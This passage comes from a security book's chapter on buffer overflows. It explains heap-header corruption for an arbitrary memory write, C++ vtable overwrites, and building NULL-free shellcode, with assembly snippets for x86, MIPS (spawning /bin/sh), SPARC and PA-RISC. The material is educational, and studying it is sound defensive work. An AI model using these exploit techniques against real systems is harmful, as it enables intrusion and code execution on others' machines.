00142B14  00 00 00 00  .... <- this gets read into ECX

00142B18  05 00 07 00  .... <- this can be corrupted 

00142B1C  00 07 1E 00  .... <- this can be corrupted 

00142B20  57 6F 72 6C  Worl

00142B24  64 21 00 00  d!..

With this somewhat cryptic memory dump, we’re trying to illustrate that we
control the buffer directly above the heap header for the third buffer (the
one that contains “World!”).

By corrupting header fields, an attacker can cause the logic of the heap
manager to read the wrong locations after a HeapFree.11 The offending code
is listed here, from NTDLL:

001B:77F5D830  LEAVE

001B:77F5D831  RET       0004

001B:77F5D834  LEA       EAX,[ESI-18]

001B:77F5D837  MOV       [EBP-7C],EAX
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001B:77F5D83A  MOV       [EBP-80],EAX

001B:77F5D83D  MOV       ECX,[EAX]           <- loads our data

001B:77F5D83F  MOV       [EBP-0084],ECX

001B:77F5D845  MOV       EAX,[EAX+04]        <- loads our data

001B:77F5D848  MOV       [EBP-0088],EAX

001B:77F5D84E  MOV       [EAX],ECX           <- moves our data

001B:77F5D850  MOV       [ECX+04],EAX

001B:77F5D853  CMP       BYTE PTR [EBP-1D],00

001B:77F5D857  JNZ       77F5D886

Malloc and the Heap

Malloc uses a slightly different header format, but the technique is the same.
Two records are stored near one another in memory and one can overwrite
the other. Consider the following code:

int main(int argc, char* argv[])

{

char *c = (char *)malloc(10);

char *d = (char *)malloc(32);

strcpy(c, "Hello!");

strcpy(d, "World!");

free(d);

return 0;

}

After executing the two strcpys, the heap looks like this:

00320FF0  0A 00 00 00  ....

00320FF4  01 00 00 00  ....

00320FF8  34 00 00 00  4...

00320FFC  FD FD FD FD  ý ý ý ý

00321000  48 65 6C 6C  Hell

00321004  6F 21 00 CD  o!.Í

00321008  CD CD FD FD  ÍÍý ý

0032100C  FD FD AD BA  ý ý-º

00321010  AB AB AB AB  ««««

00321014  AB AB AB AB  ««««

00321018  00 00 00 00  ....

0032101C  00 00 00 00  ....

00321020  0D 00 09 00  ..  .
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00321024  00 07 18 00  ....

00321028  E0 0F 32 00  à.2.    <- this value is used as an address

0032102C  00 00 00 00  ....

00321030  00 00 00 00  ....

00321034  00 00 00 00  ....

00321038  20 00 00 00   ...    <- size

0032103C  01 00 00 00  ....

00321040  35 00 00 00  5...

00321044  FD FD FD FD  ý ý ý ý

00321048  57 6F 72 6C  Worl

0032104C  64 21 00 CD  d!.Í

00321050  CD CD CD CD  ÍÍÍÍ

00321054  CD CD CD CD  ÍÍÍÍ

00321058  CD CD CD CD  ÍÍÍÍ

0032105C  CD CD CD CD  ÍÍÍÍ

00321060  CD CD CD CD  ÍÍÍÍ

00321064  CD CD CD CD  ÍÍÍÍ

00321068  FD FD FD FD  ý ý ý ý

0032106C  0D F0 AD BA  .2–º

00321070  0D F0 AD BA  .2–º

00321074  0D F0 AD BA  .2–º

00321078  AB AB AB AB  ««««

0032107C  AB AB AB AB  ««««

You can plainly see the buffers in the heap. Also notable are the heap
headers that specify the size of the heap blocks. We want to overwrite the
address because it gets used in a later operation once free() is called:

00401E6C   mov         eax,dword ptr [pHead]

00401E6F   mov         ecx,dword ptr [eax]    <- ecx has our value

00401E71   mov         edx,dword ptr [pHead]

00401E74   mov         eax,dword ptr [edx+4]

00401E77   mov         dword ptr [ecx+4],eax  <- memory overwrite

Because values that we control in the header are being used in the
free() operation, we have the ability to overwrite any location in mem-
ory as we see fit. The memory overwrite that is noted uses whatever is stored
in the eax register. We also control that value, because it’s taken from the
heap header as well. In other words, we have complete control over writing
a single 4 DWORD value to memory at any location.
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Buffer Overflows and C++

C++ uses certain constructs to manage classes. These structures can be lever-
aged when injecting code into a system. Although any value in a C++ class
can possibly be overwritten and may cause a security vulnerability, the C++
vtable is a common target.

Vtables

The vtable stores function pointers for the class. Every class can have its
own member functions and these can change depending on inheritance. This
ability to change is called polymorphism. For the attacker, the only thing
that needs to be said is that the vtable stores pointers. If the attacker can
overwrite any of these pointers, she may attain control of the system. Fig-
ure 7–16 illustrates a buffer overflowing into a class object. The member
variables grow away from the vtable in the source class so the attacker must
try to overflow a neighbor. The attacker can make the destructor point back
to the member variables that are under attacker control—a good location
for payload instructions.

Payloads

The overall structure of a given buffer overflow injection is usually restricted
in size. Depending on the exploit, this size can be seriously limited. Fortu-
nately, shell code can be made very small. Most programmers today use
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Figure 7–16 C++ vtables are common targets for heap overflow
attack.
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higher level languages and may not know how to program in machine code.
However, most hard-core information warriors use hand-coded assembly
to build shell code. We use Intel x86 code to explain the basics here.

Although a higher level language must be compiled (usually with some
inefficiency) into machine code, a typical attacker can hand craft much
tighter shell code. This has several advantages, the first being size. Using
hand-coded instructions, you can make extremely compact programs. Sec-
ond, if there are restrictions on the bytes you can use (which is the case
when filters are being used), then you can code around this. A normal
compiler has no clue how to do this.

In this section we discuss an example payload. This payload has several
important components that are used to illustrate concepts in exploit space.
We assume that the injection vector works and the computer’s CPU is
pointing to the beginning of this payload in execution mode. In other words,
at this point, the payload is activated and our injected code is being
executed.

Figure 7–17 shows a typical payload layout scheme. The first thing we
have to do is get our bearings. We provide a simple chunk of code that
determines the value of the instruction pointer—in other words, it figures
out where in memory the payload is living. We go on to build a dynamic
jump table for all the external functions we are going to call later in the
exploit. (We certainly would not want to hand code a socket call when we
can simply use the socket interface that is exported from the system DLLs.)
The jump table allows us to use any function from any system library. 
We also discuss placement of “other code,” which we leave to your
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imagination. This section contains whatever program the attacker wants to
run. Lastly we’ll provide a data section in which strings and other informa-
tion can be placed.

Getting Your Bearings

The first thing our payload needs to do is figure out where it sits in memory.
Without this information we are not going to be able to find the data section
or the jump table. Remember that our payload is installed as one large blob
of data. The instruction pointer is currently pointing to the beginning of this
blob. If we can figure out the instruction pointer’s value, we can do arith-
metic to find the other sections of our payload. The following instructions
can be used to reveal our current location in memory:

call     RELOC

RELOC:   pop      edi        // get our bearings (our current eip)

The call statement pushes EIP onto the stack. We promptly pop it from the
stack and place it into EDI. When assembled, this will create the following
string of bytes:

E8 00 00 00 00 5F

This string of bytes has four NULL bytes in it. The cardinal sin of buffer
overflow payloads is the NULL byte, because (as we discuss earlier) it will
terminate most string manipulation operations. So, we must record the “get
bearings” section so that no NULL bytes are present.

Perhaps we can try this:

START:

jmp        RELOC3

RELOC2:

pop        edi

jmp        AFTER_RELOC

RELOC3:

call    RELOC2

AFTER_RELOC:

This code may take some explaining. You’ll notice that it jumps around
a bit. It first jumps to RELOC3, then makes a call back to RELOC2. We want
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the call to go to a location before the call statement. This trick will result in
a negative offset in our code bytes, removing the dreaded NULL character.
We add the extra jumps to get around all this monkey business. After getting
the instruction pointer into EDI, we jump past all this and into the rest of
the code (AFTER_RELOC).

This crazy code compiles into the following bytes:

EB 03 5F EB 05 E8 F8 FF FF FF

This isn’t too bad. It’s only 4 bytes longer than the first version, and the
growth seems worth it because we got rid of the NULL bytes.

Payload Size

The size of the payload is a very important factor. If you’re trying to squeeze
into a tight space between (say) a protocol boundary and the top of a stack
you might only have 200 bytes of room. This isn’t much space to offer up a
payload. Every byte matters.

The payload we sketched out earlier includes a dynamic jump table and
a big section of code devoted to fixing it up. This is plenty of code space
we’re using up. Note that if we’re really pressed for space, we can eliminate
the jump table and the fix-up code by simply hard coding the addresses of
all function calls we intend to utilize.

Using Hard-Coded Function Calls

Trying to do anything dynamic in your code increases its size. The more you
can do to hard code values, the smaller your code becomes. Functions are
just locations out there in memory. Calling a function really means jumping
to its address—plain and simple. If you know the address of a function you
want to use ahead of time, there is no reason to add code to look it up.

Although hard coding has the advantage of reducing the payload size, it
has the disadvantage of causing our payload to crash if the target function
moves around at all. Sometimes different versions of the OS cause the func-
tions to move around. Even the same version of software on two different
computers may have different function addresses. This is highly problematic
and one of the reasons that hard-coded addresses are a crummy business.
It’s a good idea to avoid hard coding unless you absolutely must save space.
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Using a Dynamic Jump Table

Most times, the target system is not hugely predictable. This has a dramatic
effect on the ability to hard code addresses. However, there are clever ways
to “learn” where a function might live. There are lookup tables that contain
directories of functions. If you can find a lookup table, you can learn the
location of the function you’re after. If your payload needs several functions
(which it usually will), all the addresses can be looked up at once and the
results placed into a jump table. To call a function later, you simply refer-
ence the jump table you have built.

A handy way to build a jump table is to load the base address of the
jump table into a CPU register. Usually there are a few registers in the CPU
that you can safely use while performing other tasks. A good register to use
is the base pointer register (if it exists). This is used to mark the base of the
stack frame on some architectures. Your function calls can be coded as
offsets from the base pointer.12

#define GET_PROC_ADDRESS   [ebp]

#define LOAD_LIBRARY       [ebp + 4]

#define GLOBAL_ALLOC       [ebp + 8]

#define WRITE_FILE         [ebp + 12]

#define SLEEP              [ebp + 16]

#define READ_FILE          [ebp + 20]

#define PEEK_NAMED_PIPE    [ebp + 24]

#define CREATE_PROC        [ebp + 28]

#define GET_START_INFO     [ebp + 32]

These handy define statements let us reference the functions in our jump
table. For example, we can make code that calls out to GlobalAlloc() by
simply coding

call GLOBAL_ALLOC

This really means

call [ebp+8]

Payloads 333

12. For more information about how and why this code is constructed, see both Building
Secure Software [Viega and McGraw, 2001] and the buffer overflow construction kit at
http://www.rootkit.com. All the snippets in this section are available there.

30294 07 277-366 r10jk.ps  1/30/04  2:19 PM  Page 333



ebp points to the beginning of our jump table, and each entry in the table is
a pointer (4 bytes long), meaning that [ebp+8] references the third pointer
in our table.

Initializing the jump table with relevant values can be problematic.
There are many ways to determine the address of functions in memory.
They can be looked up by name in some cases. The jump table fix-up code
can make repeated calls to LoadLibary() and GetProcAddress() to load
the function pointers. Of course, this approach requires including the func-
tion names in your payload. (This is what the data section is for.) Our ex-
ample fix-up code could look up functions by name. The data section will
thus need to have the following format:

0xFFFFFFFF

DLL NAME 0x00 Function Name 0x00 Function Name 0x00 0x00

DLL NAME 0x00 Function Name 0x00 0x00

0x00

The most important thing to note about this structure is the placement
of the NULL (0x00) bytes. Double NULLs terminate a DLL loading loop,
and a double NULL followed by another NULL (for a total of three NULLs)
terminates the entire load process. For example, to fill the jump table we
could use the following data block:

char data[] =     "kernel32.dll\0" \

"GlobalAlloc\0WriteFile\0Sleep\0ReadFile\0PeekNamedPipe\0" \

"CreateProcessA\0GetStartupInfoA\0CreatePipe\0\0";

Also note that we place a 4-byte sequence of 0xFF before the structure. This
is our telltale value, installed so that we can locate the data section. You can
use whatever telltale value you want. You will see below how to search for-
ward and find the data section.

Locating the Data Section

To locate the data section we only have to search forward from our current
location looking for the telltale value. We just obtained our current location
in the “get bearings” step. Searching forward is simple:

GET_DATA_SECTION:

inc        edi                  // our bearing point

cmp        dword ptr [edi], -1
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jne        GET_DATA_SECTION

add        edi, 4               // we made it, get past telltale itself

Remember that EDI holds the pointer to where we are in memory. We
increment this forward until we find the -1 (0xFFFFFFFF). We increment
4 more bytes and EDI is not pointing to the beginning of the data section.

The problem with using strings is the relatively large amount of space
this takes up in the payload. It also poses problems because this usage re-
quires us to use NULL-terminated strings. A NULL character is out of class
for our injection vector under most circumstances, ruling out the use of
NULL characters completely. Of course we can XOR protect the string
parts of our payload. This isn’t too difficult, but it adds the overhead of
writing the XOR encode/decode routine (the same code does both encoding
and decoding as it turns out).

XOR Protection

This is a common trick. You write a small routine to XOR decode your data
section before you use it. By XORing your data with some value you can re-
move all the NULL characters from it. Here is an example loop of code to
XOR decode the data payload with the 0xAA byte:

mov        eax, ebp

add        eax, OFFSET (see offset below)

xor        ecx, ecx

mov        cx, SIZE

LOOPA:    xor        [eax], 0xAA

inc        eax

loop       LOOPA

This little snippet of code takes only a few bytes of our payload and uses our
base pointer register as a starting point. The offset to our string is calculated
from the base pointer and then the code enters a tight loop, XORing the
byte string against 0xAA. This converts everything from nasty NULL char-
acters (and back again). Be sure to test your strings, however. Some charac-
ters will XOR into a disallowed character just as easily as they will XOR
out of it. You want your protected payload to be clean and tidy.

Checksum/Hash Loading

Another option for the strings-based approach is to place a checksum of
the string into your payload. Once you’re in the target process space, the
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function table can be located and each function name can be hashed. These
checksums can be calculated against your stored checksum. If you find a
match, chances are that you found your function. Grab the address of the
match and drop it into the jump table. This has the benefit that checksums
can be 4 bytes long, and the function address can be 4 bytes long, thus you
can simply overwrite the checksum with the function address once you find
it. This saves space and makes things more elegant (plus there is the added
benefit of no NULLs).

xor        ecx, ecx

_F1:

xor        cl, byte ptr [ebx]

rol        ecx, 8

inc        ebx

cmp        byte ptr [ebx], 0

jne        _F1

cmp        ecx, edi        // compare destination checksum

This code assumes EBX is pointing to the string you want to hash. The
checksum runs until a NULL character is found. The resulting checksum is
in ECX. If your desired checksum is in EDI, the result is compared. If you get
a match in your checksum, you can then fix up the jump table with the re-
sulting function pointer.

Clearly, building a payload is complicated business. Avoiding NULLs,
remaining small, and keeping track of where you are in your code are all
critical aspects.

Payloads on RISC Architectures

The Intel x86 processor, which we have been using for all our examples in
this chapter so far, is not the only processor in town. The tricks described
earlier can be used with any processor type. There is good documentation
on writing shell code for a variety of platforms. All processors have their
quirks, including such fun as branch delay and caching.13

336 Chapter 7 Buffer Overflow

13. For an in-depth paper on shell code construction, see “UNIX Assembly Codes
Development for Vulnerabilities Illustration Purposes” by The Last Stage of Delerium
Research Group (http://lsd-pl.net).

30294 07 277-366 r10jk.ps  1/30/04  2:19 PM  Page 336



“Branch Delay” or “Delay Slot”

An odd thing called branch delay (also called delay slot) sometimes occurs
on RISC chips. Because of branch delay, the instruction after every branch
may get executed. This is because the actual branch doesn’t take place until
the next instruction has executed. The upshot of all this is that the next in-
struction is executed before control passes to the branch destination. Thus,
if you code a jump, the instruction directly after the jump gets executed
anyway. In some cases, the delay slot instruction will not execute. For ex-
ample, you can nullify the delay slot instruction on PA-RISC architectures
by setting the “nullify” bit in the branch instruction.

The easiest thing to do is code a NOP after every branch. Experienced
coders will want to take advantage of the delay slot and use meaningful in-
structions to perform extra work. This is an advantage when you must re-
duce the size of your payload.

MIPS-Based Payload Construction14

The MIPS architecture is substantially different from the x86. First off, in
the R4x00 and R10000 chips there are 32 registers, and each opcode is
32 bits long. Also, the execution is pipelined.

MIPS Instructions

Another big difference is that many instructions take three registers instead
of two. Instructions that take two operands place the result into a third
register. Comparatively, the x86 architecture usually places the result into
the second operand register.

The format of a MIPS instruction is

The primary opcode is most important. It controls what instruction will be
run. The subopcode value depends on the primary. In some cases it specifies

PRIMARY
OPCODE

SUB
OPCODE

SUBCODE
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a variation of the instruction. Other times, it selects which register will be
used with the primary opcode.

Examples of common MIPS instructions are presented in Table 7–1 (this
is a seriously incomplete list, and we encourage you to find better MIPS
instruction set references on the Internet).

Also interesting in MIPS processors is that they can operate in either big-
endian or little-endian byte ordering. DEC machines will typically be run in
little-endian mode. SGI machines will typically be run in big-endian mode.
As we discuss earlier, this choice deeply affects how numbers are represented
in memory.

Getting Bearings

One important task in shell code is to get the current location of the instruc-
tion pointer. This is typically done with a call followed by a pop under x86
(see the section on payload). Under MIPS, however, there are no push and
pop instructions.

There are 32 registers on the chip. Eight of these registers are reserved
for temporary use. We can use a temporary register as we see fit. The tempo-
rary registers are registers 8 through 15.

Our first instruction is li. li loads a value directly into a register:

li register[8], -1

338 Chapter 7 Buffer Overflow

TABLE 7–1 COMMON MIPS INSTRUCTIONS

Instruction Operands Description

OR DEST, SRC, TARGET DEST = SRC | TARGET

NOR DEST, SRC, TARGET DEST = ~(SRC | TARGET)

ADD DEST, SRC, TARGET DEST = SRC + TARGET

AND DEST, SRC, TARGET DEST = SRC & TARGET

BEQ SRC, TARGET, OFFSET Branch if Equal, goto OFFSET

BLTZAL SRC, OFFSET Branch if (SRC < 0) (saves ip)

XOR DEST, SRC, TARGET DEST = SRC ^ TARGET

SYSCALL n/a System Call Interrupt

SLTI DEST, SRC, VALUE DEST = (SRC < TARGET)
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This instruction loads –1 into a temporary register. Our goal is to get the
current address so we will perform a conditional branch that saves the
current instruction pointer. This is similar to a call under x86. The differ-
ence under MIPS is that the return address is placed into register 31 and not
on the stack. In fact, there is no stack proper on the MIPS platform.

AGAIN:

bltzal register[8], AGAIN

This instruction causes the current address to be placed into register 31
and a branch to occur. In this case, the branch takes us directly back to this
instruction. Our current location is now stored in register 31. The bltzal
instruction branches if register 8 is less than zero. If we don’t want to end
up in an infinite loop, we need to make sure that we zero out register 8. Re-
member that pesky branch delay? Perhaps it’s not so pesky after all. Because
of branch delay, the instruction after bltzal is going to get executed no
matter what. This gives us a chance to zero out the register. We use the slti
instruction to zero out register 8. This instruction will evaluate to TRUE or
FALSE depending on the operands. If op1 >= op2, then the instruction
evaluates to FALSE (zero). Our final code looks like this15:

li register[8], -1

AGAIN:

bltzal register[8], AGAIN

slti register[8], 0, -1

This code snippet will loop once on itself and continue on. The use of the
branch delay to zero out our register is a nice trick. At this point register 31
has our current address in memory.

Avoiding NULL Bytes in MIPS opcodes

Opcodes are 32 bits long. We want to make sure, under most situations, that
our code does not contain any NULL bytes. This restricts which opcodes we
can use. The good thing is that there are usually a variety of different op-
codes that will accomplish the same task. One operation that is not safe is
move. That is, you cannot use the move instruction to move data from one
register to another. Instead, you will need to pull some weird tricks to get
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the destination register to have a copy of the value. Using an AND operation
will usually work:

and    register[8], register[9], -1

This will copy the value unaltered from register 9 and into register 8.
slti is a commonly used opcode in MIPS shell code. The slti instruc-

tion doesn’t carry any NULL bytes. Recall that we have already illustrated
how slti can be used to zero out a register. Clearly, we can also use slti to
load the value 1 into a register. The tricks for loading numerical values are
similar to other platforms. We can load a register with a safe value and then
perform operations on the register until it represents the value we are after.
Using the NOT operator is very useful in this regard. If we want register 9 to
have the value MY_VALUE, the following code will work:

li register[8], -( MY_VALUE + 1)

not register[9], register[8]

Syscalls on MIPS

System calls are crucial to most payloads. Within an Irix/MIPS environment,
the v0 register contains the system call number. Registers a0 through a3 con-
tain arguments to the call. The special instruction syscall is used to induce
the system call. For example, the system call execv can be used to launch a
shell. The execv system call number is 0x3F3 on Irix, and the a0 register
points to the path (i.e., /bin/sh ).

SPARC Payload Construction

Like MIPS, the SPARC is a RISC-based architecture and each opcode is
32 bits long. Some models can operate in both big-endian and little-endian
modes. SPARC instructions have the following format:

where IT is 2 bits and specifies the instruction type, Destination register is
5 bits, Instruction specifier is 5 bits, Source register is 5 bits, SR is a 1-bit
flag that specifies constant/second source register, and the last field is a
second source register or constant depending on the value of SR (13 bits).

IT Destination
register

Instruction
specifier

Source
register

SR Second source register
or constant
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SPARC Register Window

The SPARC also has a peculiar system for handling registers. The SPARC
has a register window that causes certain banks of registers to “slide” when
function calls are made. There are usually 32 registers to work with:

g0–g7: general registers. These do not change between function
calls. The special register g0 is a zero source.

i0–i7: in registers. i6 is used as the frame pointer. The return ad-
dress to the previous function is stored in i7. These registers change
when function calls are made.

l0–l7: local registers. These change when function calls are made.

o0–o7: out registers. The register o6 is used as the stack pointer.
These registers change when function calls are made.

Additional special registers include pc, psr, and npc.
When a function call is made, the sliding registers are altered as de-

scribed below.
Figure 7–18 shows what happens when the registers slide. The registers

o0–o7 are swapped into the registers i0–i7. The old values in i0–i7 are no
longer accessible. The old values in registers l0–l7 and o0–o7 are also no
longer available. The only register data that survive the function call are the
data in o0–o7 that are swapped into i0–i7. Think of this as input and out-
put. The output registers for the calling function become the input registers
of the called function. When the called function returns, the input registers
are swapped back into the output registers of the calling function. The local
registers are local to each function and do not get traded around.

Function 1 calls function 2. The output registers of function 1 become
the input registers of function 2. These are the only registers that are passed
to function 2. When function 1 makes the call instruction, the current value
of the program counter (pc) is placed into o7 (return address). When control
passes to function 2, the return address thus becomes i7.

Function 2 calls function 3. We repeat the same register process again.
The output registers of function 2 are swapped into the input registers for
function 3. When the call returns, the opposite happens, the input registers
of function 3 become the output registers of function 2. When function 2
returns, the input registers of function 2 become the output registers of
function 1.
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Walking the Stack on SPARC

The SPARC uses save and restore instructions to handle the call stack.
When the save instruction is used, the input and local registers are saved on
the stack. The output registers become the input registers (as we have al-
ready discussed). Assume we have this simple program:

func2()

{

}

func1()

{

func2();

}

void main()

{

func1();

}
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Figure 7–18 Changes to the SPARC registers on function call.
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The main() function calls func1(). Because SPARC has a delay slot, the
delay slot instruction will execute. In this case, we put a nop in this slot.
When the call instruction is executed, the program counter (pc) is placed
into register o7 (return address):

0x10590 <main+4>:       call  0x10578 <func1>

0x10594 <main+8>:       nop 

Now func1() executes. The first thing func1() does is call save. The save
instruction saves the input and local registers, and moves the values of
o0–o7 into i0–i7. Thus, our return address is now in i7:

0x10578 <func1>:        save  %sp, -112, %sp

Now func1() calls func2(). We have a nop in the delay slot:

0x1057c <func1+4>:      call  0x1056c <func2>

0x10580 <func1+8>:      nop 

Now func2() executes. This function saves the register window and
simply returns. To return, the function executes the ret instruction. The ret
instruction returns to the address stored in the input register i7 plus 8 bytes
(skipping the delay instruction after the original call). The delay slot instruc-
tion after ret executes restore, which restores the previous function’s reg-
ister window:

0x1056c <func2>:        save  %sp, -112, %sp

0x10570 <func2+4>:      ret 

0x10574 <func2+8>:      restore

func1() repeats the same process, returning to the address stored in i7 plus
8 bytes. Then a restore is made:

0x10584 <func1+12>:     ret 

0x10588 <func1+16>:     restore

Now we are back in main. The main routine performs the same steps,
and the program is done:

0x10598 <main+12>:      ret 

0x1059c <main+16>:      restore 
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As Figure 7–19 shows, when function 1 calls function 2, the return
address is saved in o7. The local and input registers are placed on the stack
at the current stack pointer for function 1. Then the stack grows down
(toward lower addresses). Local variables on function 2’s stack frame grow
toward the saved data in function 1’s stack frame. When function 2 returns,
the corrupted data are restored into the local and input registers. However,
the return from function 2 is not affected because the return address is
stored in i7, not on the stack.

Function Call Nesting in SPARC

Remember that at the end of each function the ret instruction is used to
return to the previous function. The ret instruction gets the return address
from the i7 register. This means that to affect the return address there must
be at least two levels of function call nesting.

Assume the attacker overflows a local buffer in function 2 to corrupt the
saved local/input registers. Function 2 then returns normally because the
return address was stored in i7. The attacker is now in function 1. Function
1’s i0–i7 registers are restored from the stack. These registers are corrupted
from the buffer overflow. So, when function 1 returns, it will return to the
now-corrupted address stored in i7.
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PA-RISC Payload Construction

The HPUX PA-RISC platform is also a RISC architecture. Instructions are
32 bits long. This processor runs in either little-endian or big-endian mode.
There are 32 general registers. Readers should consult the HP Assembler
Reference Manual, available from http://docs.hp.com, for detailed
information.

On HPUX, to learn more about how assembly language relates to
C code try the command

cc –S

which will output an assembly dead listing (with the “.s” file extension).
The .s file can then be compiled into an executable by using the cc program.
For example, if we have the following C code:

#include <stdio.h>

int main()

{

printf("hello world\r\n"); 

exit(1);

}

by using cc –S, a test.s file will be created:

.LEVEL  1.1

.SPACE  $TEXT$,SORT=8

.SUBSPA $CODE$,QUAD=0,ALIGN=4,ACCESS=0x2c,CODE_ONLY,SORT=24

main

.PROC

.CALLINFO CALLER,FRAME=16,SAVE_RP

.ENTRY

STW     %r2,-20(%r30)   ;offset 0x0

LDO     64(%r30),%r30   ;offset 0x4

ADDIL   LR'M$2-$global$,%r27,%r1        ;offset 0x8

LDO     RR'M$2-$global$(%r1),%r26       ;offset 0xc

LDIL    L'printf,%r31   ;offset 0x10

.CALL   ARGW0=GR,RTNVAL=GR      ;in=26;out=28;

BE,L    R'printf(%sr4,%r31),%r31        ;offset 0x14

COPY    %r31,%r2        ;offset 0x18
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LDI     1,%r26  ;offset 0x1c

LDIL    L'exit,%r31     ;offset 0x20

.CALL   ARGW0=GR,RTNVAL=GR      ;in=26;out=28;

BE,L    R'exit(%sr4,%r31),%r31  ;offset 0x24

COPY    %r31,%r2        ;offset 0x28

LDW     -84(%r30),%r2   ;offset 0x2c

BV      %r0(%r2)        ;offset 0x30

.EXIT

LDO     -64(%r30),%r30  ;offset 0x34

.PROCEND        ;out=28;

.SPACE  $TEXT$

.SUBSPA $CODE$

.SPACE  $PRIVATE$,SORT=16

.SUBSPA $DATA$,QUAD=1,ALIGN=8,ACCESS=0x1f,SORT=16

M$2

.ALIGN  8

.STRINGZ        "hello world\r\n"

.IMPORT $global$,DATA

.SPACE  $TEXT$

.SUBSPA $CODE$

.EXPORT main,ENTRY,PRIV_LEV=3,RTNVAL=GR

.IMPORT printf,CODE

.IMPORT exit,CODE

.END

Now you can compile this test.s file with the command:

cc test.s

which will produce an a.out executable binary. This is useful for learning
how to program in PA-RISC assembly.

Please note the following:

.END specifies the last instruction in the assembly file.

.CALL specifies the way parameters are passed in the succeeding
function call.

.PROC and .PROCEND specify the start and end of a procedure.
Each procedure must contain a .CALLINFO and .ENTER/.LEAVE.

.ENTER and .LEAVE mark the procedure’s entry and exit points.
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Walking the Stack on PA-RISC16

PA-RISC chips don’t use a call/ret mechanism. However, they do use
stack frames to store return addresses. Let’s walk through a simple program
to illustrate how PA-RISC handles branching and return addresses:

void func()

{

}

void func2()

{

func();

}

void main()

{

func2();

}

This is as simple as it gets. Our goal is to illustrate the bare minimum
program that performs branching.

main() starts out like this: First, store word (stw) is used to store the
value in the return pointer (rp) to the stack at offset –14 (-14(sr0,sp).
Our stack pointer is 0x7B03A2E0. The offset is subtracted from the SP,
so 0x7B03A2E0 – 14 is 0x7B03A2CC. The current value in RP is stored to
memory address 0x7B03A2CC. Here we see a return address being saved
to the stack:

0x31b4 <main>:  stw rp,-14(sr0,sp)

Next, load offset (ldo) loads offset 40 from the current stack pointer into
the stack pointer. Our new stack pointer is calculated: 0x7B03A2E0 + 40 =
0x7B03A320.

0x31b8 <main+4>:        ldo 40(sp),sp

The next instruction is load immediate left (ldil), which loads 0x3000
into general register r31. This is followed by a branch external and link
(be,l). The branch takes general register r31 and adds the offset 17c
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(17c(sr4,r31)). This is calculated thus: 0x3000 + 17C = 0x317C. The
return pointer to our current location is saved in r31 (%sr0,%r31).

0x31bc <main+8>:        ldil 3000,r31

0x31c0 <main+12>:       be,l 17c(sr4,r31),%sr0,%r31

Remember the branch delay instruction. The load offset (ldo) instruc-
tion is going to be executed before the branch takes place. It copies the value
from r31 into rp. Also, remember that r31 has our return address. We move
that into the return pointer. After this, we branch to func2().

0x31c4 <main+16>:       ldo 0(r31),rp

Now func2() executes. It starts out by storing the current return
pointer to stack offset –14:

0x317c <func2>: stw rp,-14(sr0,sp)

We then add 40 to our stack pointer:

0x3180 <func2+4>:       ldo 40(sp),sp

We load 0x3000 into r31 in preparation for the next branch. We call
branch external and link, with an offset of 174. The return address is saved
in r31 and we branch to 0x3174.

0x3184 <func2+8>:       ldil 3000,r31

0x3188 <func2+12>:      be,l 174(sr4,r31),%sr0,%r31

Before the branch completes, our delay slot instruction moves the return
address from r31 to rp.

0x318c <func2+16>:      ldo 0(r31),rp

We are now in func() and at the end of the line. There is nothing to do
here so func() just returns. Technically this is called a leaf function because
it does not call any other functions. This means the function does not need
to save a copy of rp. It returns by calling the branch vectored (bv) instruc-
tion to branch to the value stored in rp. The delay slot instruction is set to a
no-operation (nop).
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0x3174 <func>:  bv r0(rp)

0x3178 <func+4>:        nop

We are now back in func2(). The next instruction loads the saved
return pointer from stack offset -54 into rp:

0x3190 <func2+20>:      ldw -54(sr0,sp),rp

We then return via the bv instruction.

0x3194 <func2+24>:      bv r0(rp)

Remember our branch delay. Right before the bv completes we correct
the stack pointer to its original value before func2() is called.

0x3198 <func2+28>:      ldo -40(sp),sp

We are now in main(). We repeat the same steps. We load the old return
pointer from the stack. We correct the stack pointer and then return via bv.

0x31c8 <main+20>:       ldw -54(sr0,sp),rp

0x31cc <main+24>:       bv r0(rp)

0x31d0 <main+28>:       ldo -40(sp),sp

Stack Overflow on HPUX PA-RISC

Automatic variables are stored on the stack. Unlike on the Wintel archi-
tecture, local buffers grow away from the saved return address. Assume
function 1 calls function 2. The first thing that function 2 does is store the
return address to function 1. It stores this address at the end of function 1’s
stack frame. Then local buffers are allocated. As local buffers are used, they
grow away from the previous stack frame. Thus you cannot use a local
buffer in the current function to overflow the return pointer. You must
overflow a local variable allocated in a previous stack frame to affect the
return pointer (Figure 7–20).

Inter-space Branching on the PA-RISC

The HP/UX is one of the more esoteric platforms to buffer overflow. We
have already explored the stack in a cursory way. Now we must discuss how
branching works. Memory on the PA-RISC is divided into segments called
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spaces. There are two kinds of branch instructions: local and external. Most
of the time local branches are used. The only time external branches are
used is for calls into shared libraries such as libc.

Because our stack is located in a space other than our code, we definitely
need to use an external branch instruction to get there. Without it we will
cause a SIGSEGV every time we try to execute our instructions on the stack.

Within program memory you will find stubs that handle calls between
the program and shared libraries. Within these stubs you will find branch
external (be) instructions. For example:

0x7af42400 <strcpy+8>:  ldw -18(sr0,sp),rp

0x7af42404 <strcpy+12>: ldsid (sr0,rp),r1

0x7af42408 <strcpy+16>: mtsp r1,sr0

0x7af4240c <strcpy+20>: be,n 0(sr0,rp)

From this we see that the return pointer is obtained from –18 on the stack.
Then we see a branch external (be,n). This is the type of branch we need to
exploit. We want the stack to be corrupted at this point. In this case, we
simply find an external branch and directly exploit it. Our example uses
strcpy in libc.

Many times you will only be able to exploit a local branch (bv), in
which case you will need to “trampoline” through an external branch to
avoid the dreaded SIGSGEV.
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Inter-space Trampolines17

If you can only overflow the return pointer for a local branch (bv) then you
will need to find an external branch to return to. Here is a simple trick: Find
a branch external somewhere within your current code space. Remember
you’re using a bv instruction so you can’t pick a return address to another
memory space. Once you find a be instruction, overflow the bv instruction
with a return address to the be instruction. The be instruction then uses an-
other return pointer from the stack—this time, the one to your stack. The
branch external succeeds in branching to the stack. By using a trampoline
like this, you store two different return addresses in your injection vector,
one for each of the branches respectively (Figure 7–21).

Getting Bearings

Branch instructions on the PA-RISC can be external or local. Local branches
are confined to the current “space.” Register gr2 contains the return address
(also called rp) for procedure calls. In PA-RISC documentation this is called
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linkage. By calling the branch and link instruction (b,l) we can place the
current instruction pointer into a register. For example18:

b,l .+4, %r26 

To test our program we can use GDB to debug and single step our code.
To start GDB simply run GDB with the name of the executable binary:

gdb a.out

Execution begins at 0x3230 (actually, 0x3190 but this branches to 0x3230),
so we set an initial break point at this location:

(gdb) break *0x00003230

Breakpoint 1 at 0x3230

We then run the program:

(gdb) run

Starting program: /home/hoglund/a.out 

